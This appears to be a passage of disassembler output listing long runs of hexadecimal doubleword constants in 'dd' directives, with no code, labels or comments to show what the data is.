		dd 64E1D412h, 6EFA14A6h, 0EAB20350h, 0E9FFC013h, 4B18DB7Bh
		dd 0DE1A7904h, 7CB8D6ADh, 0F230B2D2h, 739033E7h, 9A95FF7Eh
		dd 0E9BCFEE8h, 9C591851h, 4D012818h, 0F620BE1h,	9C72CAA1h
		dd 0B715E407h, 55C4C0BAh, 1E0FA82Ah, 0AFDAA2F6h, 0A094AEC1h
		dd 6C1A73A0h, 0DFA9C0F8h, 0C7E12D6Eh, 6216017h,	790938BDh
		dd 18B76C17h, 5CBEA2A0h, 914D66Bh, 9882C5B2h, 1095276h
		dd 0F55F5EB4h, 79C8CC3Fh, 8639BE16h, 5C898027h,	0DECC2CC8h
		dd 0AB00BF7Fh, 0AA30565Fh, 0B0EAB38Fh, 22552500h, 67B5A850h
		dd 609CC43Ch, 0A0902994h, 2770B1F4h, 0A4FB3BD0h, 0CB183859h
		dd 8A7F2300h, 0FCF7B48Dh, 319E25D9h, 9456C4E2h,	0DC1C5E25h
		dd 47068704h, 16AA293Ah, 153404D0h, 840213A2h, 5F4299EFh
		dd 779DB8B7h, 0EE2AAA40h, 4227FA5h, 0C1CD4788h,	3E94E503h
		dd 0F900C46Eh, 0EFACBFFh, 6752EE6Dh, 0B0CD5FACh, 72D09D3Bh
		dd 3191B2A8h, 0F2783071h, 10AA5240h, 0F914FDh, 7DA04B13h
		dd 0B773B7FFh, 0F51D40C4h, 7200D817h, 0D2B05835h, 13B2165Bh
		dd 446C081Dh, 92F56580h, 0CCA02Fh, 8AEA4E36h, 0DA17C4CEh
		dd 0F3B5AF01h, 0F940B34h, 0E470883Eh, 7C02F7F4h, 3BD722AFh
		dd 24B17F36h, 0A0CC3F2Ah, 2558B0E3h, 0ACC5ECCEh, 0DFF44A27h
		dd 3ACCB7h, 2521121Ch, 25384303h, 18022231h, 94FC3596h
		dd 19E51804h, 20178E9h,	8DD60FB3h, 9E64F0EDh, 0F1277F09h
		dd 102C4242h, 0B77D8C64h, 1A7F184Ah, 44375784h,	9A682F00h
		dd 2295817h, 13513E44h,	0C490CAA0h, 8006411h, 3A1F1EEh
		dd 5FEF4Bh, 0D31727DBh,	76F0EC71h, 4A20A43Ch, 9A4ADCB7h
		dd 390B8084h, 9543E2Eh,	2D384113h, 445460A9h, 0DC5CFC69h
		dd 17ACA300h, 0D5DE8336h, 20A873C9h, 608FB98h, 2573E4Dh
		dd 76014721h, 0E9E4BC47h, 0DE2A8C60h, 4EDC8E3Ch, 825EA4A3h
		dd 0A8004628h, 0E8A3D490h, 95689091h, 9FF59042h, 809D1194h
		dd 5831ACE1h, 0F3434BECh, 3052B26Ch, 30045BAh, 4DF99931h
		dd 12FDC871h, 0AC7FCF35h, 80B57Ch, 290231A1h, 715CB7DCh
		dd 25B71890h, 74D21992h, 23E8465Ah, 38C16605h, 2750B955h
		dd 319C04E2h, 7C10E312h, 0E25D1825h, 40307E80h,	0D1A07B2Fh
		dd 0ACD37A00h, 221FC03h, 0A370101h, 0FF732510h,	0C8162BF8h
		dd 0AF0BB4ACh, 40F29A91h, 499E9C99h, 3C3E6D0Ah,	0FBFF1001h
		dd 13F26B25h, 0ED1AAFF1h, 807330CBh, 70A8FB95h,	0C601FD3Bh
		dd 0BEF1829Dh, 0D80087F5h, 2BBF758Ah, 0F210447Ch, 59F30004h
		dd 82BDB6FCh, 3207E58Bh, 4FD56694h, 0B03E8AD0h,	0B3224BB3h
		dd 30ECA2F4h, 74077D3Ch, 0D9BEEBAEh, 0B24B39C0h, 13B84865h
		dd 3225F73Eh, 306234E2h, 0BAFF78E2h, 0C4484584h, 0B54B609Eh
		dd 856A38A1h, 247997h, 0BD271780h, 0A207584h, 0C5AE1356h
		dd 0AF8852CAh, 8A02EC6Eh, 0B11E3002h, 1521F861h, 0A4FCCC16h
		dd 35DAFD82h, 0D597BF60h, 0B7A36F00h, 962FEA2Eh, 20E89075h
		dd 7C7D65D2h, 342F544Fh, 0A400E423h, 86FDE070h,	555A2E6Dh
		dd 0E6CF62F0h, 44F4947Fh, 7C4A8AD2h, 7B00D8F3h,	18C1219Ah
		dd 30C10BC5h, 8BA173A0h, 1602D510h, 19EAE80Fh, 82FEBCE2h
		dd 0C0222612h, 40BD578h, 0C0DC6CF4h, 79D5DF7Eh,	0D49A41B6h
		dd 4CCD174Bh, 9550A1FCh, 0E7C25851h, 0DB7D058Ah, 47BDC0A0h
		dd 0B11C4A7h, 809BE9B9h, 0E31EC4F8h, 882D04Fh, 7FD92B75h
		dd 2000603Dh, 0D69314E2h, 0EC7A2C41h, 90F908E4h, 0A7D5B100h
		dd 2A83F345h, 97A47C9Eh, 9C05C4Dh, 5F7A2C02h, 0A49031C5h
		dd 67FE04D0h, 11062F4h,	5925E4D4h, 66C98004h, 0C55E03B8h
		dd 0C5DC9A2Dh, 6154E43Ch, 88CCCCB2h, 21420235h,	54793F5h
		dd 14B705Ch, 11D130EAh,	4CE8302Dh, 58086EB7h, 0C810CC1Ch
		dd 38984BC0h, 0B6088441h, 6142566Dh, 74959E7Bh,	0F500AEACh
		dd 7F1E9C96h, 5C95214h,	30741B6Ah, 2448AACEh, 7138B113h
		dd 33C007B5h, 0A85BCA38h, 0E45184h, 0B9BA61Eh, 4DBF0EECh
		dd 8D2E6E18h, 122B34A6h, 0E599B4D0h, 948D7EBCh,	91B98441h
		dd 0D844AA04h, 0A8129A41h, 0BF450BCCh, 3CC8D667h, 3739FD30h
		dd 1F003E4Ch, 290F4E4Dh, 17B7A2EDh, 90CB5F5Eh, 0E180EF50h
		dd 54000CE4h, 0AF909E57h, 0B0D21A6Ah, 257BED6Ah, 0A442FF44h
		dd 0C8213938h, 1061F2A4h, 4F0FE118h, 1C4C58F2h,	78F0C25Bh
		dd 0D597A802h, 48705409h, 54B4099Dh, 6E191C8h, 0A5F5A679h
		dd 0BDA127D8h, 6D18E0FAh, 0C5494172h, 0C809728h, 0A9A08132h
		dd 69DC60BFh, 0CC5C8285h, 820E66Bh, 315D20CBh, 0C1DA0E00h
		dd 9A13D910h, 0A6785A6Ch, 0A2161050h, 10A4AA2Eh, 102894FBh
		dd 8A1BD668h, 0AAE46970h, 29D5608Ch, 9DE4AEFFh,	0AF092208h
		dd 6060C50Ah, 61BC3C18h, 5BEF92Bh, 64A9829Fh, 0E7B4DA0Ch
		dd 63924480h, 0BB5FF847h, 0BD182A7Bh, 4D9081CCh, 3780C014h
		dd 3D50BA57h, 0BE24F94Ch, 639F285Dh, 91E017ADh,	704F80E6h
		dd 7C08C11Ch, 0FC78D751h, 5409F548h, 0EEBC0491h, 0FD8017EBh
		dd 8C5CA814h, 34ACDC5Ch, 74F9F121h, 94620888h, 590C7B91h
		dd 2671839h, 2B36A4A7h,	0CC06B50h, 7DE44B0Eh, 3064C626h
		dd 0E074E8A5h, 52E9023Bh, 0AD7C13CCh, 0A7849555h, 0BB733C7Bh
		dd 3861E814h, 0F0589525h, 0A0E6AB4Bh, 0C4BD70E1h, 0D241A01Bh
		dd 22A48A2Ah, 0D5220B77h, 2C56C114h, 2E056C9h, 63F7D08h
		dd 474488A4h, 9DF07F7Eh, 170C901h, 0BAC0A602h, 2F64B78Ah
		dd 0B301786Eh, 0AE639C49h, 0AFFC6A7h, 0C408D498h, 0B6793CDEh
		dd 80616B9Ch, 305DE248h, 144DB8h, 54675379h, 0EC6652BEh
		dd 28C77300h, 0A57A601Ah, 185195C0h, 0C14EBF44h, 0ACA9410Bh
		dd 0AB6D3C02h, 5B109C55h, 6E98172Dh, 0DFE20768h, 2251F151h
		dd 7830376Ah, 0FC1284F2h, 68E46C28h, 0D3FD0219h, 0E354C91h
		dd 7FEC897Fh, 76018C37h, 43EDE48Eh, 0DAA0046Bh,	42F0C1E8h
		dd 24B0758h, 133850Ch, 5A4CC270h, 5314C070h, 90EACC2Ch
		dd 0B2A35F4Dh, 0F691005Ch, 84880F57h, 0FB4A04E7h, 878129A4h
		dd 7C592948h, 0DC1838F1h, 3EE00501h, 6E650BAAh,	31BAEC44h
		dd 4297920h, 0FB1C31FFh, 6D0C702Dh, 1CA72A5Ah, 5FB86048h
		dd 45DB018Ch, 2D908CEAh, 0D0C6CE15h, 36C03A03h,	0F87E4F72h
		dd 55D5A9h, 0B1DE3F19h,	0B44771A0h, 107BAA0Bh, 0AC28CBE4h
		dd 0F6206F4Eh, 7103C1D0h, 108F4500h, 0B56ADC66h, 21D90002h
		dd 0FF3FBF2Ch, 0F601F312h, 0DF4D9D71h, 0F839B3A8h, 0FB023EB8h
		dd 8BF6E99Fh, 9D6CC031h, 288CA4AAh, 20A8F97Bh, 187427EDh
		dd 4B0EA0B1h, 0FDC1999Ah, 9F444310h, 8F342B00h,	0BF9807C0h
		dd 0B9E3025Eh, 0E532792Ch, 0FC78A3DDh, 18911EC3h, 8CFB14D7h
		dd 9085129Fh, 1B9896F8h, 0DFA88416h, 0E5AC34A9h, 0D00F028Ch
		dd 728A91A8h, 2208A0FAh, 17DB04F5h, 4A8CF90Ch, 3988488Eh
		dd 3D12CECCh, 58818F2Dh, 31BEF37Dh, 929074B4h, 44A9F24Ah
		dd 0F1003EE8h, 0A4709B87h, 173F5786h, 8FD7B3Dh,	0D8A0F0C8h
		dd 64A8EDBFh, 40B260EDh, 0BD79D4h, 544F7404h, 0CE459C70h
		dd 27138F39h, 795CA185h, 132EBD9Eh, 4A28FC8Ch, 5B1C8A7h
		dd 0F066D6DDh, 4CFC600h, 0CE3A2E92h, 154E0007h,	0CB8DCCE0h
		dd 0DB013716h, 0A4CDA873h, 43C24FCh, 0F48C9FE8h, 0CD5802E6h
		dd 0DA806646h, 6E4D3841h, 0C178F0D1h, 23203A2Fh, 97AD04E6h
		dd 0D744BD51h, 44A898BDh, 0B012D0B0h, 1AA5036h,	0C99E7B88h
		dd 224788Ch, 56B5623Ah
		dd 253C54A8h, 7DC7456h,	39279CFh, 0FB2FC088h, 6D72A614h
		dd 74814A4Fh, 81CA34FDh, 0B92B05B4h, 23706B2Fh,	0C3B61FEAh
		dd 0F1BE3C79h, 2908C180h, 987080BDh, 6030E70Eh,	0F404F85Bh
		dd 0D1169A07h, 0CCA67799h, 81D03CE0h, 0AD996D02h, 5ECB0D19h
		dd 0CF9CC060h, 941AA00Ah, 55700CC8h, 0D5C0EC4Dh, 0FA71E3BAh
		dd 0A94C4AFAh, 946AD788h, 0EF292C12h, 0B712AC6Eh, 2EDA5C8Ah
		dd 0BB236468h, 0A200AC7Ah, 3D5C14EFh, 4438FBDFh, 0C5DBA57Bh
		dd 89951830h, 0A705F63Eh, 219F13Fh, 0C4F421AAh,	0A48E6AE0h
		dd 0A2C063E9h, 0EF3C305Dh, 0FB4F8A0Bh, 72A1h, 4350B3E4h
		dd 942759E6h, 7CCC6EF7h, 758A114Bh, 87A309D5h, 51405ECAh
		dd 122184C5h, 0C89578D5h, 6A4FBCE7h, 15201E0h, 0E24D8E67h
		dd 7F94A12Fh, 9B3BCC8Dh, 9A2F8054h, 449DE87h, 0FDAE7908h
		dd 20F91785h, 0A0C4E6D7h, 96AAFFF0h, 0D0A09750h, 0D9987548h
		dd 84ECD201h, 0F118497Ch, 0B34A846Ch, 0CC85A80h, 56A60011h
		dd 5C71185Dh, 0E4971342h, 0CA0601D8h, 0AA919F26h, 0ECB1E510h
		dd 822E24DEh, 2E007E8Ch, 7CA6E049h, 9B135A18h, 56AC892Ch
		dd 5D46D61Ch, 0F307DB12h, 0C52A050Ch, 68C8F96Ch, 0A22AFF92h
		dd 0E4B6D3A8h, 8AE5C3A0h, 1D85007h, 0BA54C177h,	0AC7852EEh
		dd 0C0E697B0h, 0D05A41E0h, 4158B39h, 7234DCB8h,	6FB035AEh
		dd 0D9080214h, 759129A6h, 35B59C96h, 0C03E1FD4h, 0B12B82D1h
		dd 8340C82Ch, 6DAC2F48h, 0A82D787Ah, 9BFC50B3h,	57587854h
		dd 0A1B2BE00h, 3D1947A2h, 6D0C2F28h, 0C52C34A1h, 7D798984h
		dd 0B1487891h, 18E8D1B8h, 7D440912h, 8B776562h,	693054A0h
		dd 3EE4B4C5h, 7860C060h, 0FAD09401h, 7CA14B0Eh,	0FE44C46Bh
		dd 27045C30h, 6E26120Dh, 0D208BCBBh, 67B834EDh,	0F2D65200h
		dd 562984D9h, 190E1166h, 0CE410324h, 0B2F5D0EDh, 6D948B94h
		dd 0F573C088h, 0E2162F9Eh, 0A516BF99h, 80E68013h, 0F3178212h
		dd 0E0D85EA8h, 0CC8B5D5h, 0D9087B13h, 3FC6C18h,	0A49AB585h
		dd 90F734E0h, 5015BE02h, 0F566D04Dh, 231D8037h,	0E00EAD0Fh
		dd 725B368Fh, 0D4DD160Ah, 0A2C4BCE5h, 9E644CC9h, 94C6A5F0h
		dd 0F9478A16h, 3155F402h, 0AFEA114Fh, 70EC7B39h, 0F5F2F749h
		dd 75ACAB04h, 0CB057AFEh, 0D6BC405Bh, 3EE4B97Eh, 1FE60700h
		dd 1A73AAE1h, 0DD0A5859h, 0DBC50F00h, 66DA1774h, 87CB2C1Bh
		dd 7308E961h, 0F98E242Ch, 3E715EC0h, 5A0B3D75h,	801F8BFCh
		dd 0D82634F5h, 0B5DE0C03h, 143182A1h, 0FBFCDC4Ah, 0AB391A12h
		dd 0AE80482Ah, 6F128E4Fh, 98153A39h, 3621E26Dh,	9667009Ah
		dd 54457122h, 0D100D8BEh, 0FCC24D43h, 527848B5h, 0DE01D0A1h
		dd 8FE8C9C8h, 8BD7F27Eh, 0D51C42F0h, 5004037h, 0D77B37C0h
		dd 4CCB5ABh, 1A57F882h,	3CD498h, 0F5A06D50h, 0C90EF98h
		dd 0A7FF870Bh, 0F14C5138h, 17CC195Fh, 748B1434h, 2480C0A0h
		dd 65FCB24Ah, 610D6C1Ch, 40C06D13h, 0E0C378ABh,	5FE49A2Dh
		dd 41CA390h, 47964D0Eh,	6943CB06h, 0E1507F00h, 0DE29AAB0h
		dd 330F63Fh, 3BF745D3h,	43DA7D6Ah, 108D24E9h, 3345CC4h
		dd 4CF83DAFh, 788A0E49h, 91FCBDD5h, 829F8BE5h, 0FDECF5C8h
		dd 9FBE828h, 34CD7AB7h,	880625C0h, 0E6444FC3h, 98BCE324h
		dd 28FD5B7h, 38C3DF09h,	0B45E3521h, 0DC98DEE9h,	0A36A4013h
		dd 0D5D80D00h, 0C35ACAA2h, 77341B21h, 0BC3D1E00h, 90FA3F62h
		dd 0A9E00Dh, 0BC5858Dh,	0DA1A12FFh, 187BAA00h, 0B831F03Eh
		dd 0E9604ED9h, 3EF2B874h, 8EDE1752h, 0CE5CC8E8h, 94FF38F8h
		dd 8989358h, 768EC354h,	7D503F46h, 722C02F1h, 15D55ADCh
		dd 502C2074h, 3AE84674h, 6B70092Fh, 117854DDh, 0C4C95A9Fh
		dd 0DF01466h, 4F300F3Ah, 0B3F340A9h, 982C7D26h,	54B7BFFCh
		dd 0A982CB00h, 2EC6875h, 12015D32h, 625F1CFDh, 0B09AFF48h
		dd 37113017h, 10D1F389h, 1A6D0E82h, 996CC94Bh, 91BC1468h
		dd 4840628Ch, 560B4276h, 15E35190h, 5E232C3Ah, 0D237003Eh
		dd 0DE97A8A7h, 0A6215B9Ah, 2ACEE06Ch, 0D1DC38E2h, 2603AA84h
		dd 0AE8CC39Dh, 0CBC4B959h, 59D18003h, 28B38Fh, 11D87BD7h
		dd 0F07AA3E5h, 0A902821Eh, 7391E401h, 0C16B79C2h, 2EF1B0F8h
		dd 0E62B3C9Dh, 0CA9BE038h, 49C1C047h, 0A5564E69h, 0FAC80500h
		dd 72463A26h, 0F9C609DFh, 587403CAh, 820EC970h,	816FC056h
		dd 4B3502F0h, 0F8C0C5CDh, 9B425BB2h, 7CD5D744h,	6B90CF07h
		dd 5DB00249h, 0D87309A5h, 0C1FCCD25h, 2EB15C29h, 0C2CFCC0h
		dd 0B7234BD5h, 90A8B358h, 904B09h, 0FAB19499h, 0A518C14Ch
		dd 916C059Fh, 0D090E41Ch, 5A7CB04Fh, 409A5782h,	67054DBh
		dd 0E569037Eh, 134464F5h, 9882DEF2h, 0C30088A9h, 0B5038518h
		dd 74A52CE6h, 0C7605FC4h, 0BE5C6E8Fh, 0FC14135Ch, 3E707AEEh
		dd 0FA2B00A9h, 9E7BD437h, 0C449705h, 57564D12h,	0EA4C8891h
		dd 2AD36C01h, 0A8FF7881h, 25C222Eh, 0E03EB331h,	0E820D598h
		dd 806316F8h, 50B01F74h, 0C7AF0922h, 8C90D539h,	4003C86h
		dd 32DF6BBh, 474B360h, 9B510584h, 7C49BA7Ah, 143BD761h
		dd 193401C8h, 0FDAA1A06h, 0E670DA20h, 809524FFh, 0F2D90B2Ch
		dd 0A82A9498h, 0C3E58904h, 42FFE19Eh, 0B150808h, 0A0E29100h
		dd 9CFF1681h, 4C1CBC90h, 2FE516C1h, 61041CBDh, 0E9241908h
		dd 98A1262Ch, 0E4D20F40h, 0A5610081h, 0FEB453FCh, 0BE00291Fh
		dd 0EACFC48Ch, 4FD82246h, 0CFC4BC6Ch, 8189FBADh, 0A6003A8Dh
		dd 0A832F510h, 5C73D1EDh, 926D0ADEh, 2898A6CCh,	96A91320h
		dd 0D150A4DAh, 801C739Fh, 0DFEDE3D3h, 210047ABh, 4D2DBA58h
		dd 1EA7C18Ch, 3A9E798Dh, 0B1A180E3h, 0E736C913h, 0E47408FFh
		dd 56110609h, 61D318F8h, 0D61EFC71h, 0CB0328DCh, 37ED20h
		dd 0C9450EB8h, 0C15D4942h, 0D9681050h, 8085AE13h, 0C1E028ABh
		dd 0F68FBC13h, 2606EAFh, 8A6183EFh, 64087E7Bh, 0A5BC827Dh
		dd 0DC4BE854h, 0A902DCF0h, 10B76FB3h, 0B50C5045h, 0D2078C37h
		dd 0AA0E1354h, 5A009025h, 0ACF191E8h, 0F4009EF7h, 0BC925300h
		dd 0C13B5895h, 0B0307C78h, 2FB45A57h, 2922374h,	173E9683h
		dd 0B5002CD9h, 0EFCB29CFh, 5DF7DFAh, 6DBEF379h,	7463AF97h
		dd 8B85D50Ch, 0D65040AEh, 0DE7DF870h, 0A0AC1E9Dh, 0BF91013Ch
		dd 526460E7h, 0CE1F3B60h, 83650C00h, 819896E7h,	0A1FF2292h
		dd 0D452311h, 4E176848h, 0D25CB95Dh, 37B8C8F9h,	60EDAE0h
		dd 0A08A95FAh, 0AE7B7FC2h, 0D0A964ADh, 602BBABDh, 8C30444Ch
		dd 0BE79D689h, 0D882854Bh, 0A0655517h, 28525E12h, 1CE33CF6h
		dd 0FA19CDA8h, 4E47AA3Ah, 572014BCh, 0BCBC784Bh, 0E9A2D483h
		dd 3E47C2E8h, 34F9E200h, 644AFA69h, 8C2B4EE1h, 8F00A29Ch
		dd 1598E9A0h, 9527051Ah, 0CDA7C05Bh, 68EE408Ch,	611DB5A3h
		dd 8D025FC9h, 77A9DC4Ah, 0CEC0E86Dh, 0B0648C1Eh, 115D203Ch
		dd 4CCCA65Bh, 404D798Eh, 45977C56h, 5D22117Ch, 9030B89Ch
		dd 64FA273Ch, 0DB71E056h, 0A3BCBC14h, 0F6795BD5h, 0FB16E068h
		dd 0DD3E0968h, 84D76903h, 0E509DE78h, 0D874137Fh, 0F0F639Eh
		dd 1765ADB5h, 0AECB5065h, 0C4B9F816h, 6A1267B8h, 0FBA5A0Fh
		dd 0E44F834h, 0AC16BA2Fh, 0CAE00CE6h, 0DE258246h, 43207422h
		dd 9F0AC60h, 4016C544h,	1CBD4DE9h, 0E9842116h, 9CEE870h
		dd 41A48DBFh, 4B815C71h, 0E3F87D94h, 42A8B73Ah,	3098E290h
		dd 54009C63h, 0B6E224A1h, 5AABB11Fh, 0A014F060h, 84B3435Eh
		dd 2761848h, 361B8B7h
		dd 6D5560E4h, 6B5BC394h, 0BFFD7A88h, 362CCD09h,	0C4B7FF49h
		dd 39E7CF81h, 95DC06AAh, 0A83D5AD9h, 2D1080BCh,	118A275h
		dd 0F1E837B9h, 7E6D1DBEh, 0A0685040h, 0F870FD38h, 39621796h
		dd 80A0B80Ah, 0E24BABDAh, 0EA3C12EDh, 2C30BF28h, 24DF1675h
		dd 0B8E45A8h, 545C425Bh, 0D7D37602h, 8C3A5DC6h,	13D4C4DEh
		dd 0FAF94B7Ah, 10619020h, 0A4829DA5h, 3F7FA679h, 0BA70070h
		dd 0CCC25DA1h, 0BC710339h, 41421373h, 192431AEh, 0C0F3E8Bh
		dd 7B568143h, 822F559Eh, 185D295Ch, 0C24FCA58h,	36C26F61h
		dd 0B66E3C40h, 0B140289Ch, 3996CA9h, 2E394B06h,	61E0C57Eh
		dd 0E65A5D01h, 0C24A8F3h, 0A4722F9Fh, 0DE2CFD25h, 9F467C20h
		dd 799C143Dh, 193E42E5h, 665596A9h, 0A4C0B5A4h,	49632A4Dh
		dd 0E4ACCD71h, 52E8D8BAh, 0DB0ED1E0h, 0E0F17D05h, 686790F0h
		dd 0A0441192h, 0B50C0096h, 76221CC8h, 0C3460038h, 4FB48C95h
		dd 0BC02E378h, 1768967Dh, 540F5DDEh, 0BEF07140h, 249066C2h
		dd 56964F27h, 4A0B1190h, 54C874CAh, 0F1B5B3C0h,	277EE84h
		dd 284424E4h, 77600604h, 0C8A69D0Fh, 0C39FC500h, 2D7E4A78h
		dd 952C00D3h, 84C1D14Ch, 18E84291h, 0C8123FE9h,	2E7C30AAh
		dd 0C800293Ah, 6E890C20h, 0BF718ADDh, 18981820h, 51499FD1h
		dd 0C2550488h, 0DBEB9A54h, 0EA2980B8h, 2460BADEh, 133A6753h
		dd 2FE402E5h, 6675C147h, 0C32C2C9Ch, 4DAE40A0h,	0B380656Eh
		dd 7C8A2D18h, 0E082ACCAh, 105FA0DAh, 0ED3E630h,	9C489E6Fh
		dd 0B1B0E1E3h, 1C5B4FB8h, 0A46E604Fh, 0C0003D26h, 4AA2FFD7h
		dd 5DC371C1h, 0C13F42ABh, 5EEA94h, 45E8DD2Ah, 0A88F6BE6h
		dd 23942B5Fh, 0C57F055Eh, 0E420AB59h, 3DD4411h,	47F77920h
		dd 73F92D5Ch, 4CB22F5Ah, 0B06CF84Bh, 7847E0h, 0C09FD60Dh
		dd 17FA37B7h, 9E6DB609h, 7190745Bh, 0F8C06871h,	0C5078C50h
		dd 10702B53h, 382D30F1h, 0FC086C38h, 0C82A2A1h,	484EDA6Dh
		dd 4E68D5DCh, 0A8649BE2h, 11008C55h, 915812C8h,	2C80981Dh
		dd 0C0685DD1h, 0C99A01E0h, 60ED1600h, 6CDDAACDh, 30DE81D6h
		dd 8A5AB1E0h, 0CD11ACCBh, 82AC40B2h, 0D6EC5553h, 17EC8810h
		dd 0B0A20547h, 99E9BE08h, 97C8F027h, 4A8818DBh,	1FD42B58h
		dd 602E09ACh, 6D6970D1h, 286D4014h, 359DE8A8h, 80E79168h
		dd 0C8954C31h, 126D2D8Ch, 0F5A8C400h, 4281D1BCh, 4B4822E0h
		dd 0E8BCFC84h, 13018C35h, 667CA83Dh, 566BC62Ch,	703004D0h
		dd 0B0D01F17h, 68F17327h, 9FA48700h, 7980F99Eh,	0C6A900D8h
		dd 0FAFEB7C2h, 6D4BDEB4h, 0BC15B8D0h, 1F812C7Ah, 0D39E0079h
		dd 0DF3EB303h, 0B0612601h, 0D1F9CD65h, 76A7BEC9h, 457AB082h
		dd 467EB8D4h, 0F130B3Fh, 65C08306h, 825B8AD0h, 0EBDC9Ch
		dd 7A327DB4h, 0D020F8A4h, 0F81ABFEAh, 1A5DD062h, 88608230h
		dd 0D05909E3h, 0F415A100h, 20BF73Dh, 63F2BBF8h,	6E756214h
		dd 0D464B458h, 837C7309h, 0D6A87464h, 27009E46h, 0B517ADABh
		dd 18384D35h, 37651241h, 0BB9075EBh, 0B40F446Eh, 0D3E06C25h
		dd 0A0958DB6h, 56818A2Dh, 5CE0DCC8h, 0E4D5AA0Bh, 435874C2h
		dd 0D10089A1h, 9BE34D5Ah, 7692DEh, 7A535185h, 0FB478A0Dh
		dd 64B84D97h, 93A660E6h, 0B0469762h, 70907395h,	2C170FC6h
		dd 0E8EC5AF7h, 377CFF82h, 174CA580h, 0BA5005D6h, 0F57008E8h
		dd 0C0DCDA4Bh, 0BB5A0B98h, 9CFE22C7h, 0C4E07060h, 0A25A13h
		dd 0F773ABE4h, 0D13E752Eh, 94A64A55h, 9A838E3h,	0CA0B1FFDh
		dd 6468124Dh, 93F40090h, 6AC38AC2h, 0E201FA70h,	1EBFEA9Eh
		dd 6B3E8076h, 38512354h, 76602C00h, 657AA04Ah, 0D15D0A27h
		dd 183AD904h, 1B577A7h,	2E803F12h, 3A5E4B3Eh, 88E75028h
		dd 0EA00FF3Ah, 4566ADDCh, 3584DF7h, 4AE32873h, 4EA32582h
		dd 66E451F0h, 39D1B099h, 19004A18h, 637020C6h, 4B4D0EA2h
		dd 0CB280926h, 0F880D85Ch, 5764166Bh, 0FA100192h, 0D22A50CEh
		dd 3433B9h, 822FFD3h, 5C1BB7Ah,	0D87B3C0Ah, 5429BF76h
		dd 93AC043Ch, 9D35028Ch, 7DFF2C50h, 2EC018DDh, 6475023Ah
		dd 11B9186Bh, 9F44E77h,	4213041h, 0C1E7C474h, 0D8A1D504h
		dd 3478CA6Bh, 58DED014h, 4567FF81h, 748D6E79h, 24D0202Fh
		dd 0C2061ADAh, 8ECAD209h, 0AFA30338h, 0D9A637D1h, 51C230B6h
		dd 0E07BC323h, 0C98E9D44h, 58744449h, 2A330503h, 0DBABC5C3h
		dd 0C81882F4h, 940E16Fh, 4AA4E32Ah, 3304D4B8h, 0E9CAA01Ah
		dd 31930044h, 1B9DC182h, 0C5B70940h, 0CC705201h, 5ADC68B4h
		dd 0CDCF34Eh, 21F10D47h, 14449705h, 341F7EF2h, 6DC0EC38h
		dd 0F4E06509h, 0EFF3272Bh, 936E84FCh, 7BB0EB00h, 5B3D0DE7h
		dd 0A7700322h, 0E00B6D2Eh, 0BD286B4Ch, 0BEC40298h, 3DDDE949h
		dd 5299F94h, 0F0390841h, 98036044h, 4C1512DDh, 0C6829D18h
		dd 0A758747Dh, 1BE31CEDh, 0B9B88A3h, 0F9494AAFh, 79BCF0h
		dd 5310AA49h, 12C4A9A0h, 0E4C0395Bh, 9818F53Ah,	89A8A063h
		dd 645D8281h, 0A8190720h, 0E0FEECE3h, 615FBD51h, 54CD7707h
		dd 18624906h, 0A58876F1h, 7A0474C6h, 88FDAA21h,	0A26AC0A1h
		dd 0B05B88ECh, 74F2EF89h, 9538630Ch, 9DAF500Fh,	0C7CCD010h
		dd 26EF5500h, 583DA311h, 427093h, 0EC360E61h, 2C607810h
		dd 30A5CA4Bh, 0BED2583Ch, 2CC16435h, 0C83ED718h, 0F6030A54h
		dd 5B3CD32Dh, 77FED047h, 8A8E03D4h, 878B4461h, 0DB7BB4D8h
		dd 37DD1227h, 0A9C4938Ch, 24DAD670h, 4B2B6C80h,	0F72FF4B3h
		dd 0C8792Ah, 0EB029080h, 0C03D2FBh, 0E56CBDF1h,	1880252Eh
		dd 0C97EE0C8h, 0B8256877h, 27345043h, 0A8679065h, 49605C64h
		dd 6517AC1Bh, 5CC468AAh, 4FC370B8h, 0CBF2C8FFh,	94EC6875h
		dd 584CB75Eh, 0A8303197h, 0C47F54D9h, 188DEAFCh, 77E4044Dh
		dd 1E6103F7h, 0E36045Eh, 13149CB8h, 0A6B33Ah, 0DC9A225Dh
		dd 582538C1h, 8D842012h, 0D83BBFB7h, 81185123h,	12FD3B3Eh
		dd 0B87C8A8Dh, 0EA4CC4DCh, 0AAF56C05h, 0D9E3C44h, 4C5EF849h
		dd 3D8AB908h, 3F024100h, 0C780635Fh, 6DAC3909h,	2A38C00Ah
		dd 0EED82DCDh, 5F902CD1h, 453E6D83h, 30F0285Ah,	88DD4B7Ah
		dd 7D12ACA4h, 22BB4666h, 5720F9C0h, 0FCFEA55h, 6AFA0950h
		dd 0DCC5AAE1h, 0DA6893D2h, 793C0BABh, 70052C74h, 0CCAFEBDBh
		dd 9E73FB7Ch, 54C3C1C4h, 0FBBC4C0h, 6CCA58F4h, 0AC9512DCh
		dd 8FF98460h, 0B0721256h, 0E4A6A18Ch, 9CEAB500h, 4254C101h
		dd 24BA0107h, 0D9F4998Ah, 0C18121F3h, 3CB43AAFh, 0C874883Fh
		dd 7CFF6A06h, 0B7F9CBA1h, 8873C71h, 0ACC888F5h,	488217Ch
		dd 0FAEBFCC5h, 0C6954C44h, 0D988A0B8h, 0F72908Bh, 297862A0h
		dd 0E0B18984h, 0A0EDA0A4h, 1967B20h, 79733498h,	79A42DB6h
		dd 33B91650h, 46A120E8h, 0A63A090Eh, 0C63A01Ch,	481EEAF8h
		dd 5A22D082h, 9F293100h, 949D3966h, 0DB572D9Bh,	5EE9D4DCh
		dd 82DAC5C0h, 0C655B140h, 0F5A80CC8h, 3CD8FF68h, 28A1C44Bh
		dd 0E088F62Eh, 2A78715h, 1EB43A84h, 7C5C5AC3h, 0DCB4FE27h
		dd 80697B02h, 4075E628h, 819EB128h, 0F06E6BB4h,	3076077Ah
		dd 0CB3D24CAh, 0E5F1E479h, 5525F718h, 7EDC5699h, 0CA025D46h
		dd 0E1C328E7h, 0DA38405Ch, 0EDBCAC4Bh, 0FAADC098h, 0FD20BE79h
		dd 0B4725A5h, 621978E9h, 0EEFF1844h, 1F8218h, 18DB1E2Fh
		dd 2453C7CEh, 0F937A80Eh, 0DAC12183h, 42D0547h,	7E48A34Bh
		dd 40CD3027h, 13E871CCh, 9BC4494h, 0BDF50D4Ch, 96308064h
		dd 0C539BEB5h, 37BC904Bh
		dd 8A20035Bh, 0C109217Bh, 0E6E41770h, 5C50B520h, 352B2B41h
		dd 0B860E9F8h, 0E26BFB7Eh, 0EA8C0050h, 9983415Bh, 0CB871253h
